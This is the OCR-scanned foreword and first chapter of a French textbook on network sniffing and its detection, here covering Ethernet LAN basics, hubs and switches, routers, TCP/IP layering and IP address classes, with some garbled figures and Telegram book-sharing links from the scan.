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AVANT-PROPOS

Avec le développement de I’informatique, la vie des entreprises modernes est
devenue largement tributaire des échanges et interactions entre leurs diverses
composantes. La plupart d’entre elles intégrent désormais des réseaux locaux. Ces
échanges d’information ne vont pas sans poser des problémes de sécurité. Par
ailleurs, ces réseaux ont connu une évolution considérable, et on est passé des
réseaux locaux partagés ou un hub diffuse les paquets vers toutes les machines du
réseau, aux réseaux locaux commutés ou un switch filtre les communications aux
seules machines qui communiquent. Cependant, les pirates sont a I’affit de toute
innovation et ils s’ingénient a la tourner en leur faveur. Nous assistons de jour en
jour a la montée de redoutables menaces mettant en péril la sécurité des systemes et
des réseaux informatiques. Pour certaines entreprises, ces attaques peuvent causer la
perte ou la détérioration irrémédiables de données précieuses et vitales. Il s’avere
donc nécessaire de prendre les devants pour détecter les tentatives d’attaque. L’une
des taches d’un administrateur réseau est donc de maftriser la sécurité de son réseau.

Certes, la plupart des entreprises délaissent leurs anciens hubs pour les nouveaux
switches. Et un ouvrage qui parle des hubs pourrait étre taxé d’anachronisme. Loin
s’en faut. Nous en parlons sciemment et nous en voulons pour seule preuve que,
guand certains switches sont saturés par une attaque, ils cessent de filtrer les paquets
pour se transformer en de simples hubs.

La plupart des attaques exploitent les failles présentes dans les protocoles de
communication entre les machines des réseaux, les systémes d’exploitation, les
applications et les services réseaux. Pour faire face a ces problemes, des outils de
défenses ont été mis en place, tels les firewalls, les scanners de vulnérabilités, les
systemes de détection d’intrusion (IDS), les antivirus et les sniffers.
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12 L’espionnage dans les réseaux TCP/IP

Les firewalls permettent de filtrer le trafic entrant et sortant d’un réseau, et donc
de prévenir les attaques et d’en limiter I’'impact. Ces outils sont exclusivement
réservés a la défense du réseau interne contre le milieu externe mais ne sont d’aucun
secours contre les attaques internes provenant des membres d’un méme réseau local,
a moins qu’un firewall ne soit installé dans chaque machine. Les scanners servent, a
partir de bases de données de vulnérabilités, a identifier les faiblesses d’un réseau
et proposent le plus souvent des solutions intéressantes. Quant aux antivirus, ils
protégent les réseaux et les systemes des virus. Les IDS, eux, sont des systemes
chargés de détecter toute activité suspecte et d’alerter immédiatement I’administrateur
du réseau.

Dans le présent ouvrage, notre objectif principal est de sensibiliser les
administrateurs aux dangers que représentent les sniffers pour la sécurité de leurs
systemes et de leurs réseaux. Seront ainsi détaillées, plusieurs attaques par des
sniffers. Il sera également montré comment, dans un réseau partagé ou commuté, un
agresseur, méme sans connaissances approfondies, parvient facilement a espionner
les autres utilisateurs en utilisant les techniques du sniffing. Nous présentons enfin
les différents outils (anti-sniffers) disponibles pour détecter les activités malveillantes
d’écoute et d’espionnage administratif.

Le sniffer est une arme a double tranchant. En effet, c’est un outil de gestion des
réseaux. Il sert, en outre, a détecter des activités suspectes et a contrdler les acces, ce
qui permet a un administrateur, en capturant et en analysant les paquets qui circulent
dans un réseau, d’avoir une vision globale sur tout le trafic. Cependant, un utilisateur
malveillant pourrait utiliser les sniffers pour des activités d’espionnage. Il peut
écouter les communications qui transitent sur le réseau, intercepter les paquets dans
le but de s’approprier des informations trés sensibles telles que les logins, les mots
de passe, les e-mails ou encore des documents confidentiels.

Cet ouvrage fournira :

— une présentation des réseaux locaux Ethernet, des protocoles TCP/IP et des
services réseau. Ceci constituera, en quelque sorte, un prérequis pour pouvoir
comprendre les chapitres suivants (chapitre 1) ;

— une description détaillée de quelques scénarios de piratage et d’espionnage
dans les réseaux et les systémes (chapitre 2) ;

— une présentation des sniffers dédiés aux réseaux partagés (chapitre 3) ;

— des exemples réels montrant comment un utilisateur malveillant, muni d’un
sniffer, peut espionner ses collégues sur un réseau et obtenir des informations
confidentielles (chapitre 4) ;
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Avant-propos 13

— les différentes techniques et outils de détection des sniffers dans les réseaux
partagés (chapitre 5) ;

— une présentation des sniffers dédiés aux réseaux commutés (chapitre 6) ;

— les différentes techniques et outils de détection des sniffers dans les réseaux
commutés (chapitre 7).

En annexe, un document donnera en Visual C++ les codes source nécessaires
a la programmation d’un sniffer aussi bien pour un réseau partagé que pour un
réseau commuteé.

A la fin de I’ouvrage, une bibliographie et des adresses de sites web fourniront
les références a ceux qui voudraient en savoir plus.

Le livre s’adresse principalement aux :

— directeurs et responsables de la sécurité informatiques des entreprises ;

— administrateurs et ingénieurs de sécurité réseaux ;

— consultants en matiére de sécurité des systémes d’information et des réseaux ;

— étudiants des écoles d’ingénieurs.

Nous voudrions enfin remercier tous ceux qui nous ont aidé a réaliser ce travail,
notamment Aymen Soualah et Bessem Ardhaoui, de I’Ecole nationale des sciences
de I’informatique (ENSI), qui m’ont assisté dans I’implémentation et les tests de
I’anti-sniffer Advanced AntiSniffer.

Zouheir TRABELSI
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CHAPITRE 1

Les réseaux locaux Ethernet
et les protocoles TCP/IP

Ce chapitre fournit principalement un apercu sur les réseaux locaux Ethernet, la
série des protocoles TCP/IP et les services Internet communs, afin de constituer un
prérequis adéquat et nécessaire pour les chapitres suivants.

1.1. Les réseaux locaux

Un réseau local, appelé aussi réseau local d’entreprise (RLE) (ou en anglais :
local area network, LAN) est un réseau permettant d’interconnecter les ordinateurs
d’une entreprise ou d’une organisation. Grace a ce concept, datant de 1970, les
employés d’une entreprise ont a leur disposition un systéme permettant :

— d’échanger des informations ;
— de communiquer ;
— d’avoir acces a des services divers.

Un réseau local relie généralement des ordinateurs (ou des ressources telles que
des imprimantes) a I’aide de support de transmission filaires (paires torsadées ou
cables coaxiaux la plupart du temps) dans le périmétre d’une centaine de métres.
Au-dela, on considére que le réseau fait partie d’une autre catégorie de réseau appelé
MAN (metropolitan area network), pour laquelle les supports de transmission sont
plus adaptés aux grandes distances.
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16 L’espionnage dans les réseaux TCP/IP

1.1.1. Les composants matériels d’un réseau local

Un réseau local est constitué d’ordinateurs reliés par un ensemble d’éléments
matériels et logiciels. Les éléments matériels permettant d’interconnecter les
ordinateurs sont les suivants :

— la carte réseau (parfois appelé coupleur, ou network interface card, NIC) : il
s’agit d’une carte connectée sur la carte mere de I’ordinateur et permettant de
I’interfacer au support physique, c’est-a-dire aux lignes physiques permettant de
transmettre I’information ;

— le transceiver (appelé aussi adaptateur) : il permet d’assurer la transformation
des signaux circulant sur le support physique, en signaux logiques manipulables par
la carte réseau, aussi bien a I’émission qu’a la réception ;

— le support physique d’interconnexion : c’est le support (généralement filaire,
c’est-a-dire sous forme de cable) permettant de relier les ordinateurs entre eux. Les
principaux supports physiques utilisés dans les réseaux locaux sont les suivants :

- le céble coaxial,
- la paire torsadée,
- la fibre optique ;

— la prise : il s’agit de I’élément permettant de réaliser la jonction mécanique

entre la carte réseau et le support physique.

1.1.2. Topologies des réseaux locaux

Les dispositifs matériels mis en ceuvre ne sont pas suffisants a I’utilisation du
réseau local. En effet, il est nécessaire de définir une méthode d’accés standard entre
les ordinateurs, afin que ceux-ci reconnaissent le mode d’échange d’informations
entre eux, notamment dans le cas ou plus de deux ordinateurs se partagent le support
physique. Cette méthode d’acceés est appelée topologie logique. La topologie logique
représente la fagon selon laquelle les données transitent dans les céables. Elle est
réalisée grace a un protocole d’accés. Les protocoles d’accés (ou les topologies
logiques) les plus utilisés sont :

— Ethernet ;

— token-ring ;

— FDDI (fiber distributed data interface).

L’interconnexion physique des ordinateurs est appelée topologie physique. Les
topologies physiques basiques sont :

— latopologie en bus ;

- latopologie en étoile ;

— la topologie en anneau.
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1.1.2.1. Les topologies logiques
Le réseau Ethernet

Le principe du réseau Ethernet est apparu a la fin des années 1970 dans les
milieux des chercheurs aux Etats-Unis. Ce réseau, le plus répandu des réseaux
locaux, est né des expériences complémentaires de DEC, Intel et Xerox, bien avant
les avancées de la normalisation. Il permet a toute station de communiquer avec les
autres a souhait. Mais alors, il faut une régle pour le cas ol deux stations se
mettraient a « parler » au méme moment. La principale méthode d’accés aux réseaux
locaux est le CSMA/CD (carrier sense multiple access), avec détection de collision
(CD). C’est celle d’Ethernet.

Elle consiste pour une station, au moment ou elle émet, a vérifier si une autre
station n’est pas aussi en train d’émettre. Si c’est le cas, la station cesse d’émettre et
réémet son message au bout d’un délai fixe. Cette méthode est aléatoire, en ce sens
gu’on ne peut prévoir le temps d’émission nécessaire & un message, transmis et recu.

Le réseau token-ring

Le principe du réseau token-ring, celui du jeton (matérialisé par un ensemble de
données, ou trame, affecté a cet usage), est dit déterministe puisqu’en fonction des
caractéristiques du réseau (nombre de stations et longueur du cable), on peut
déterminer le temps maximal que prendra un message pour atteindre son
destinataire.

En token-ring, avant d’émettre, un ordinateur doit en avoir la permission. C’est
le principe du jeton. Une carte maitresse du réseau (numéro d’adresse le plus bas)
envoie un jeton sous la forme d’un petit message a la carte suivante (numéro
d’adresse suivant). Si celle-ci ne doit pas émettre, elle envoie le jeton a I’ordinateur
suivant et ainsi de suite. Si un ordinateur doit émettre, il ne le fera qu’a la réception
du jeton. Son message ira de carte en carte jusqu’a destination. Le message ayant été
bien regu, I’ordinateur relachera le jeton vers I’ordinateur suivant. Ce systéme peut
paraitre lent, mais comparé a Ethernet, la vitesse moyenne de transfert est plus
élevée, surtout avec un nombre de machines important. Cette méthode d’acceés est
normalisée (IEEE 802.5 ou ISO 8802.5). Le droit d’émettre est matérialisé par une
trame particuliere, le « jeton » ou token. Celui-ci circule en permanence sur le
réseau. Une station qui recoit le jeton peut émettre une ou plusieurs trames (station
principale). Si elle n’a rien a émettre, elle se contente de répéter le jeton (station
itérative). Dans un tel systéme, les informations (trames) transitent par toutes les
stations actives. Chaque station du réseau répete le message émis par la station
principale, il n’y a donc pas de mémorisation du message car un jeton recu est
immeédiatement retransmis. Le temps alloué a une station pour la répétition d’un
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jeton correspond a un temps bit (possibilité de modifier bit a bit le message). Chaque
station provoque ainsi un temps bit de retard dans la diffusion du message. Notons
que le jeton n’a nullement besoin de contenir I’adresse d’un destinataire, le
destinataire est toujours la station qui suit physiquement celle qui le détient
(technique du jeton non adressé).

Le réseau FDDI

FDDI est une technologie d’acces au réseau sur des lignes de type fibre optique.
Il s’agit en fait d’une paire d’anneaux (I’un est dit « primaire », I’autre, permettant
de rattraper les erreurs du premier, est dit « secondaire »). Le FDDI est un anneau a
jeton a détection et correction d’erreurs. C’est la que I’anneau secondaire prend son
importance.

Le jeton circule entre les machines a une vitesse tres élevée. S’il n’arrive pas au
bout d’un certain délai, la machine considére qu’il y a eu une erreur sur le réseau.

La topologie FDDI ressemble de prés a celle de token-ring a la différence prés
gu’un ordinateur faisant partie d’un réseau FDDI peut aussi étre relié au
concentrateur d’un second réseau. On parle alors de systeme biconnecté.

1.1.2.2. Les topologies physiques

La topologie en bus

Une topologie en bus est I’organisation la plus simple d’un réseau. En effet dans
une topologie en bus, tous les ordinateurs sont reliés a une méme ligne de
transmission par I’intermédiaire de cables, généralement coaxiaux. Le mot « bus »
désigne la ligne physique qui relie les machines du réseau.

(- X i
‘%% , ‘%% @)
< Bus >

Cette topologie a pour avantage d’étre facile a mettre en ceuvre et de fonctionner
aisément, par contre elle est extrémement vulnérable : si I’une des connexions est
défectueuse, c’est I’ensemble du réseau qui I’est.
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La topologie en étoile

Dans une topologie en étoile, les ordinateurs du réseau sont reliés a un systéme
matériel appelé hub ou concentrateur. Il s’agit d’une boite comprenant un certain
nombre de jonctions auxquelles on peut connecter les cables en provenance des
ordinateurs. Celui-ci a pour réle d’assurer la communication entre les différentes
jonctions.

Hub

Contrairement aux réseaux construits sur une topologie en bus, les réseaux en
étoile sont beaucoup moins vulnérables car on peut aisément retirer une des
connexions en la débranchant du concentrateur sans pour autant paralyser le reste du
réseau. En revanche, ce type de réseaux est plus onéreux qu’un réseau en bus car un
matériel supplémentaire est nécessaire (le hub).

La topologie en anneau

Dans un réseau en anneau, les ordinateurs communiguent successivement, on a
donc une boucle d’ordinateurs sur laquelle chague machine va « avoir la parole » a
son tour.
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En réalité, les ordinateurs d’un réseau en anneau ne sont pas reliés en boucle,
mais sont reliés a un répartiteur (appelé MAU, multistation access unit) qui va gérer
la communication entre les ordinateurs qui lui sont reliés en répartissant a chacun
d’entre eux un temps de communication.

Les deux principales topologies logiques utilisant cette topologie physique sont
token-ring et FDDI.

Le tableau 1.1 résume les avantages et les inconvénients de chacune des trois
topologies.

Topologie Avantages Inconvénients

Economise la longueur des cbles. Ralentissement possible du réseau
lorsque le trafic est important.
Support peu colteux.
Bus Problémes difficiles a isoler.
Simple et fiable.
La coupure du cable peut affecter de
Facile a etendre. nombreuses stations.

Il est facile d’ajouter d’autres

ordinateurs et de procéder a des ) ) )
modifications. La reconfiguration du réseau

interrompt le fonctionnement de

Etoile Contrdle et administration centralisés. | celui-ci. Si le point central tombe en
panne, le réseau est mis hors service.
La panne d’un seul ordinateur n’a pas
d’incidence sur le reste du réseau.
Acces égal pour tous les ordinateurs. | La panne d’un seul ordinateur peut
Anneau affecter le reste du réseau.

Performances régulieres méme si les
utilisateurs sont nombreux. Problémes difficiles a isoler.

Tableau 1.1. Tableau récapitulatif

Les réseaux Ethernet étant actuellement les plus répandus, ce livre traitera du
sujet des sniffers et des anti-sniffers, uniquement dans les réseaux Ethernet et avec
une topologie en étoiles.
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1.1.3. Les réseaux Ethernet partagés

Dans un réseau Ethernet partagé, toutes les machines sont reliées a un
concentrateur réseau (hub), figure 1.1. Un concentrateur amplifie le signal pour
pouvoir le renvoyer vers toutes stations connectées. Toutes les trames Ethernet
arrivant sur un hub sont donc renvoyées sur toutes les lignes, pour étre recues par
toutes les stations. Dans le cas de réseaux importants par le nombre de stations
connectées ou par I'importance du flux d’informations transférées, on ne
peut utiliser des hubs. En effet, dés qu’une station émet quelque chose, tout le
monde I’entend et quand tout le monde commence a transmettre, les vitesses
diminuent directement.

Du point de vue sécuritaire, vu que toutes les trames passent par toutes les
machines du réseau, un utilisateur malveillant situé sur le méme réseau peut
espionner un trafic qui ne lui est pas destiné. C’est le sniffing passif. Les chapitres
suivants détailleront ce type d’activité malveillante dans les réseaux Ethernet partagés.

Chaque station connectée a un réseau Ethernet posséde une adresse unique codée
sur 48 bits (6 octets) appelée adresse Ethernet, ou adresse MAC (pour media access
control). Cette adresse est située directement sur le coupleur Ethernet (généralement
une carte d’interface réseau (network interface card, NIC) reliée au bus interne) et
c’est pourquoi on I’appelle également adresse physique ou matérielle. Les trois
premiers octets de I’adresse identifient le constructeur de la carte Ethernet tandis que
les trois derniers représentent le numéro de série de cette carte. Donc, en principe,
tous les coupleurs ont des adresses physiques différentes.

Dans un réseau Ethernet partagé, les données sont transmises dans les trames.
Chaque trame contient plusieurs champs spéciaux, dont un correspondant a I’adresse
MAC de I’émetteur et un autre a I’adresse MAC du destinataire. Lorsqu’une trame
est envoyée sur le réseau, toutes les cartes réseau la recoivent et la filtrent en
comparant leur adresse MAC avec |’adresse du destinataire de la trame. Si les
adresses MAC correspondent, la carte réseau transmet la trame pour traitement ;
sinon, elle I’ignore. Chaque station traite donc uniquement les trames qui lui sont
destinées, et cela permet d’éviter une surcharge de données pour les stations du
réseau. Lorsqu’une station envoie un message sur le réseau, elle peut I’envoyer a
deux ou plusieurs destinataires, voire méme a tout le réseau.

Pour éviter d’envoyer plusieurs trames quasi identiques (une pour chaque
destinataire), il est possible d’affecter a une trame une adresse de destinataire
spéciale. Ainsi, dans une trame Ethernet, I’adresse du destinataire doit appartenir a
I’une des catégories suivantes :
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— adresse monodestinataire (unicast address) : c’est I’adresse MAC d’une carte
réseau. On utilise ce type d’adresse pour envoyer des données a une seule station sur
le réseau ;

— adresse de diffusion multidestinataire (multicast address) : ce type d’adresse
MAC est utilisé pour envoyer des données a un groupe de stations sur le réseau ;

— adresse de diffusion générale (broadcast address) : c’est une adresse réservée
pour I’émission de données a toutes les stations du réseau. Elle est caractérisée par le
fait que tous les bits sont a 1 (FF:FF:FF:FF:FF:FF en hexadécimal).

Hub

T

SERELF

] = Imprimante

Figure 1.1. Réseau Ethernet partagé

1.1.4. Les réseaux Ethernet commutés

Dans un réseau Ethernet commuté, toutes les machines sont reliées a un
concentrateur réseau (généralement connu sous le nom de commutateur ou de switch).

Le type de réseau décrit précédemment comporte quelques désavantages.
D’abord, toutes les cartes réseau recoivent la totalité des trames envoyées sur celui-
ci. Cela crée un trafic supplémentaire et ralentit les performances du réseau global.
C’est pour palier ce probléme entre autres que les réseaux commutés sont apparus.
Dans un tel réseau, toutes les stations sont reliées a un commutateur (switch) qui
s’occupe d’envoyer les trames qu’il regoit aux bons destinataires. Chaque machine
est connectée au commutateur sur un port. Ainsi, seuls les destinataires d’une trame
la recoivent, les autres machines n’y ont pas acces.

Afin de toujours envoyer les trames aux bons destinataires sur le réseau, les
commutateurs utilisent une table de correspondances entre les ports auxquels les
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stations sont connectées et leurs adresses MAC. Cette table est appelée table de
commutation ou la table CAMY, et est une mémoire interne du commutateur. Le
contenu de la table est mis a jour dynamiquement chaque fois qu’une nouvelle
station se connecte a un port libre ou qu’une station déja connectée au commutateur
change de port, par exemple.

Ainsi, lorsqu’une trame est envoyée sur le réseau (autrement dit, vers le
commutateur), celui-ci compare I’adresse MAC du destinataire de la trame avec sa
table afin de trouver une correspondance possible. Il envoie ensuite la trame dans
le(s) port(s) correspondant au(x) destinataire(s).

Les commutateurs construisent leur table de correspondance entre les adresses
MAC et les ports au fur et @ mesure qu’ils recoivent des trames. lls vérifient
I’adresse MAC de I’émetteur et font correspondre cette adresse avec le port d’ou
vient la trame. Si le commutateur regoit une trame dont le destinataire lui est
inconnu (autrement dit, il n’y a pas de correspondance pour le destinataire de la
trame), il peut agir comme un répétiteur (hub) et envoyer la trame sur tous ses ports
ou il peut la détruire. Ceci dépend du type du commutateur.

Les commutateurs (switches) permettent évidemment d’accélérer les
performances du réseau, mais ils améliorent également sa sécurité. En effet, dans un
réseau Ethernet commuté, vu que toutes les trames ne passent pas devant toutes les
cartes réseau, un utilisateur malveillant situé sur le méme réseau ne peut pas
espionner un trafic qui ne lui est pas destiné. Chaque utilisateur du réseau regoit
seulement les trames qui lui sont envoyées. Néanmoins, nous verrons dans le
chapitre consacré aux sniffers des réseaux commutés qu’il existe des techniques
d’attaque qui permettent aux utilisateurs malveillants de réaliser des activités de
sniffing. C’est le sniffing actif.

1.1.5. Les routeurs

Les hubs et switches permettent de connecter les machines d’un méme réseau.
Deux machines dans un méme réseau Ou Sous-réseau peuvent communiquer
directement ou avec un simple hub ou switch. Par contre, deux stations dans deux
réseaux différents doivent communiquer via un routeur (figure 1.2).

Le routeur est pratiguement un ordinateur a lui seul. Il décode les trames et
reconnait des parties d’informations des en-tétes et peut ainsi transmettre les

1. Content adressable memory, dans la terminologie Cisco (leader mondial des constructeurs
d’équipements réseaux).
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informations sur d’autres routeurs qui les reconduisent a leur tour vers les
destinataires. Un routeur filtre les informations pour n’envoyer que ce qui est
effectivement destiné au réseau suivant. L’utilisation la plus courante est la
connexion de multiples stations vers Internet. Les données transitant sur le réseau
local (non destinées a Internet) ne sont pas transmises a I’extérieur. De plus, les
routeurs permettent en partie de cacher le réseau. En effet, dans une connexion
Internet par exemple, le fournisseur d’acces donne une adresse IP qui est affectée au
routeur. Celui-ci, par le biais d’une technologie NAT/PAT (network address
translation/port address translation) va rerouter les données vers I’adresse privée
qui est affectée a la station.

Les routeurs sont paramétrables et permettent notamment de bloquer certaines
connexions. Par exemple, la configuration d’un routeur permet de filtrer des paquets
selon leurs adresses de source et/ou de destination.

(Ir;rnet

D222

- - -
-

Figure 1.2. Réseau Ethernet commuté connecté a Internet via un routeur

Clique ici pour plus de livres : https://t.me/formations8


https://t.me/formations8
https://t.me/formations8

Clique ici pour plus de livres : https://t.me/formations8

Réseaux locaux Ethernet et protocoles TCP/IP 25

1.2. Les protocoles TCP/IP

Au milieu des années 1970 débutent aux Etats-Unis les travaux de DARPA?
pour développer un réseau a commutation de paquets afin de relier ses centres
de recherches, partager des équipements informatiques et échanger données et
courriers. Le réseau devait résister a des attaques militaires. 1l fallait donc protéger
les points névralgiques dont la destruction entrainerait la paralysie du réseau. Ainsi,
dés le départ le réseau ARPANET est-il congu sans nceud particulier le dirigeant, de
telle sorte que, si une voie de communication venait a étre rompue, le réseau
continuerait d’acheminer les informations en empruntant un autre chemin.

Le DARPA établit donc un certain nombre de normes, spécifiant les principes et
conventions de communications entre ordinateurs, qui sont souvent référencés sous
I’appellation TCP/IP.

C’est vers 1980 qu’apparait le réseau Internet tel qu’on le connait maintenant. Le
DARPA commence & faire évoluer les ordinateurs de ses réseaux de recherche vers
les nouveaux protocoles TCP/IP et se met a subventionner les travaux de I’université
de Berkeley pour qu’elle integre TCP/IP a son systéme d’exploitation Unix (BSD).
Ainsi, la quasi-totalité des départements d’informatique des universités américaines
commencent a se doter de réseaux locaux qui, sous I’'impulsion de la NSF (National
Science Foundation), seront interconnectés, en quelques années.

Les normes Internet sont publiées sous forme de fichiers texte, appelés RFC
(request for comments) et téléchargeables gratuitement. Chaque RFC regoit un
numéro unique et définitif, donc non modifiable. De ce fait, plusieurs RFC peuvent
traiter du méme sujet, mais certaines d’entre elles sont obsolétes ou simplement
complémentaires.

Méme si, des son origine Internet comprenait des sociétés privées, celles-ci
étaient plus ou moins liées a la recherche et au développement, mais depuis I’arrivée
du web en 1993, les activités commerciales s’y multiplient considérablement.

1.2.1. Avantages des protocoles TCP/IP
Face aux autres concurrents qui proposent des services identiques (IPX,

NetBIOS, etc.), les protocoles TCP/IP présentent certains avantages. Nous en
retenons les plus significatifs.

2. Defence Advanced Research Project Agency.
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1. TCP/IP est indépendant de tout matériel ou constructeur. Il peut fonctionner
sur une grande variété de technologies, utilisant une unité de transmission nommée
datagramme, spécifiant la facon de transmettre les informations sur un type de
réseau donné.

2. Chague machine connectée via TCP/IP recoit une adresse unique et toutes les
paires de machines peuvent communiquer entre elles. Les nceuds intermédiaires
utilisent les adresses contenues dans les datagrammes pour prendre les décisions de
routage des paquets.

3. TCP/IP assure un acquittement direct entre machine source et destination,
méme dans I’hypothése ol les machines ne sont pas reliées sur le méme réseau

physique.

4. Qutre les protocoles de transport, TCP/IP inclut différents protocoles
d’application, par exemple, pour la messagerie électronique, le transfert de fichiers
et la connexion a distance (remote login, rlogin).

1.2.2. Architecture des protocoles TCP/IP

Les logiciels TCP/IP sont structurés en quatre couches de protocoles qui
s’appuient sur une couche matérielle comme illustré figure 1.3.

1. La couche liaison et physique constitue I’interface avec le réseau et se
compose d’un driver pour le systeme d’exploitation et d’une carte d’interface de
I’ordinateur avec le réseau.

2. La couche réseau ou couche IP (Internet protocol) gére la circulation des
paquets a travers le réseau en assurant leur routage. Elle comprend aussi les
protocoles ICMP (Internet control message protocol), ARP (address resolution
protocol) et RARP (reverse address resolution protocol).

3. La couche transport assure principalement la communication entre I’émetteur
et le destinataire, abstraction faite des machines intermédiaires. Elle régule le flux de
données et assure un transport fiable (données transmises sans erreur et regues dans
I’ordre de leur émission) dans le cas de TCP (transmission control protocol) ou pas
totalement fiable dans le cas de I’'UDP (user datagram protocol). Pour UDP,
I’arrivée d’un paquet (appelé dans ce cas datagramme) est assurée par la couche
application.
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4. La couche application propose des services de toutes sortes, en utilisant TCP,
UDP, et ICMP. Parmi ces services, on trouve la messagerie électronique (POP pour
la consultation, SMTP pour I’envoi), I’échange de fichiers (FTP), le service web
(WWW), I'application ping (ICMP), le service DNS (TCP et UDP), etc.

—— e e e e e e e e - - ==y

r
|
| Ping HTTP SMTP FIP Telet DNS |
|
|

|

|

e o o o o o . . e e e e e |
r -. M — — — S — — —

| Liaison & Tnierfate
| Physique physique

Figure 1.3. Architecture d’une pile TCP/IP

Cette architecture et ces différents protocoles permettent de faire fonctionner un
réseau local, comme par exemple un bus Ethernet reliant un ordinateur client A qui
interroge un serveur FTP B. La figure 1.4 illustre le cas. Mais, ceci permet surtout
de constituer un Internet, c’est-a-dire une interconnexion de réseaux eventuellement
hétérogenes comme illustré figure 1.5. Ici les ordinateurs A et B sont des systemes
terminaux et le routeur est un systeme intermédiaire. Comme on peut le constater, la
remise du datagramme nécessite I’utilisation de deux trames différentes, la trame du
réseau Ethernet entre une machine A et le routeur, et celle du réseau token-ring entre
le routeur et une machine B. Par opposition, le principe de structuration en couches
indique que le paquet regu par la couche transport de la machine B est identique a
celui émis par la couche transport de la machine A.
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Machine 4 Machine B

l Client FIP P P — ”I.| Serveur FTP I
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Figure 1.4. Communication entre deux machines du méme réseau

Protocole FTP

Figure 1.5. Interconnexion de deux réseaux
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1.2.3. Encapsulation

Lorsqu’une application envoie des données a I’aide de TCP/IP, les données
traversent chaque couche, de haut en bas, pour aboutir au support physique ou elles
sont alors émises sous forme de suites de bits. L’encapsulation illustrée dans la
figure 1.6 consiste pour chaque couche a ajouter de I’information aux données en les
commencant par des en-tétes, voire en ajoutant des informations de remorque.
L’unité de données que TCP envoie a IP est appelée un segment TCP. L’unité de
données que UDP envoie a IP est appelée un datagramme UDP. L’unité de données
que IP envoie a I’interface réseau est appelée un datagramme IP. Ce flux de bits qui
s’écoule le long du réseau est appelé une trame.

Les nombres au bas des en-tétes et des remorques de la trame Ethernet (figure 1.6)
sont les tailles typiques des en-tétes en octets.

Ethernet se caractérise physiquement par des trames dont la taille varie entre 46
et 1 500 octets.

Données

o

| Entéte http | Données

Transport
: Message applicatif

Entéte TCP ] Entéte hiip | Données

I

Réseau

Segment TCP

Entéte P | Entéte TCP | Entéte hitp | Données

g

Fhysigue Datagramme I[P

Déhut Ethernet | Entéte IP | Entéte TCP | Entéte hitp | Données | Fin Ethernet

14 octets 20 octets 20 octets
46-1500 octets

Figure 1.6. Encapsulation des données par la pile des protocoles TCP/IP
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1.2.4. Démultiplexage

Lorsqu’une trame Ethernet est recue sur la machine de destination, elle parcourt
la pile de protocoles de bas en haut, et a chaque niveau, les en-tétes sont remplacés
par la boite de protocole appropriée. Chaque boite de protocole se base sur certains
identificateurs figurant dans son en-téte pour déterminer quelle boite de la couche
supérieure recevra les données. Ce processus est appelé démultiplexage. La figure
1.7 en montre le fonctionnement.

| application | .| application | | application |___| application |

Démultiplexage basé sur le
numeéro de port de
destination

UDFP

Démultiplexage baseé sur la
IC]\,(]P valeur du champ protocole
IF

de I'en-téte IP

champ type de trame de

Démultiplexage hasé sur le
I'en-téte Ethernet

Ll

Trame entrante

Figure 1.7. Le démultiplexage d’une trame Ethernet regue

1.2.5. L’adressage Internet

Chaque ordinateur du réseau Internet dispose d’une unique adresse IP codée sur
32 hits. Autrement dit, chaque interface dispose d’une adresse IP particuliére. En
effet, un méme routeur interconnectant 2 réseaux différents posséde une adresse IP
pour chaque interface de réseau. Une adresse IP est toujours représentée dans une
notation décimale constituée de 4 nombres (1 par octet) compris entre 0 et 255
chacun et séparés d’un point. Une adresse IP est constituée d’une paire (identificateur
de réseau, identificateur de machine) et appartient a une classe donnée (A, B, C, D
ou E) selon la valeur de son premier octet, comme détaillé dans figure 1.8.
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Figure 1.8. Les classes des adresses IP

1.2.5.1 Adresses IP particuliéres
Adresse de boucle locale

Toutes les adresses sont possibles, excepté I’adresse 127.X.Y.Z, appelée
local loopback (adresse de boucle locale) qui est réservée a la vérification du bon
fonctionnement de la carte réseau.

Adresse de diffusion (broadcast)

Dans le cas, d’ailleurs trés fréquent, ou I’on doit expédier un message a I’ensemble
des machines d’un réseau on utilise une adresse de diffusion, appelée broadcast,
ou tous les bits correspondant a la partie machine sont mis & un. Pour éviter
d’encombrer I’interconnexion de réseaux, cette diffusion ne peut en principe
franchir un routeur.

1.2.5.2. Les classes des adresses IP
Les classes des adresses IP sont numérotées alphabétiquement de A A E.

Classe A

Dans cette classe d’adresse, le premier bit de I’octet 1 est & zéro. Le reste du
premier octet donne I’identificateur de réseau, ce qui laisse 7 bits pour le coder. Les
trois octets suivants donnent I’identificateur de la machine. Les adresses de classe A
correspondent & un petit nombre de réseaux de tres grande taille, puisque 24 bits
sont disponibles pour adresser des machines.

Comme il ne faut pas utiliser d’identificateur (machine ou réseau) tout & zéro ou
tout & un et que I’adresse réseau 127 ne doit pas étre employée, nous disposons donc
dans la classe A de 2(7) — 2 réseaux pouvant contenir 2(24) — 2 machines chacun.

Auinsi, les adresses valides de classe A vont de 1.0.0.1 a 126.255.255.254.
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Classe B

Cette classe d’adresse est identifiable aux deux premiers bits de I’octet Un qui
sont toujours 10. Les 16 premiers bits contiennent I’identificateur réseau et les deux
derniers octets celui de la machine. Ainsi disposons-nous de 214 réseaux de 216 — 2
machines chacun.

Les adresses valides de classe B vont ainsi de 128.0.0.1 a 191.255.255.254.

Classe C

Dans la classe C, les trois premiers bits sont toujours 110 et les trois premiers
octets signifient le numéro de réseau. Seul le dernier octet identifie le numéro de
machine. Cette classe peut étre utilisée pour un grand nombre de réseaux de petites
dimensions. Ainsi, disposons-nous de 221 réseaux de 28 — 2 machines chacun.

Les adresses valides de classe C vont de 192.0.0.1 a 223.255.255.254.

Classe D

La classe D ne peut servir a identifier des machines. Elle est utilisée pour la
diffusion d’un message a un groupe de machines. Les quatre premiers bits ont
toujours la méme valeur : 1 110. Elle est donc repérée par un premier octet allant de
224 a 239.

Classe E

Réservée pour un usage ultérieur, cette classe d’adresse ne peut étre utilisée pour
identifier des machines sur un réseau TCP/IP. Elle posséde un premier octet
supérieur ou égal a 240, les quatre premiers bits étant égaux a 1.

1.2.5.3. Le NIC (network information center)

Afin de garantir I’unicité de la partie réseau, seul un organisme central, le NIC,
est habilité a délivrer les adresses IP utilisables sur I’Internet. Quand un organisme
souhaite se connecter a I’Internet, il se voit attribuer un numéro de réseau et doit
alors choisir lui-méme ses numéros de machines.

Pour un fonctionnement autonome, par contre, I’organisme a toute la liberté de
choisir son numéro de réseau comme bon lui semble.
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1.2.6. Principe de routage

La couche réseau ou couche IP gére la circulation des datagrammes a travers
le réseau en assurant leur routage ; sa charge est donc I’acheminement de ces
datagrammes a la destination indiquée par I’adresse IP.

Il est donc nécessaire de comprendre, au préalable, le modéle sur lequel repose
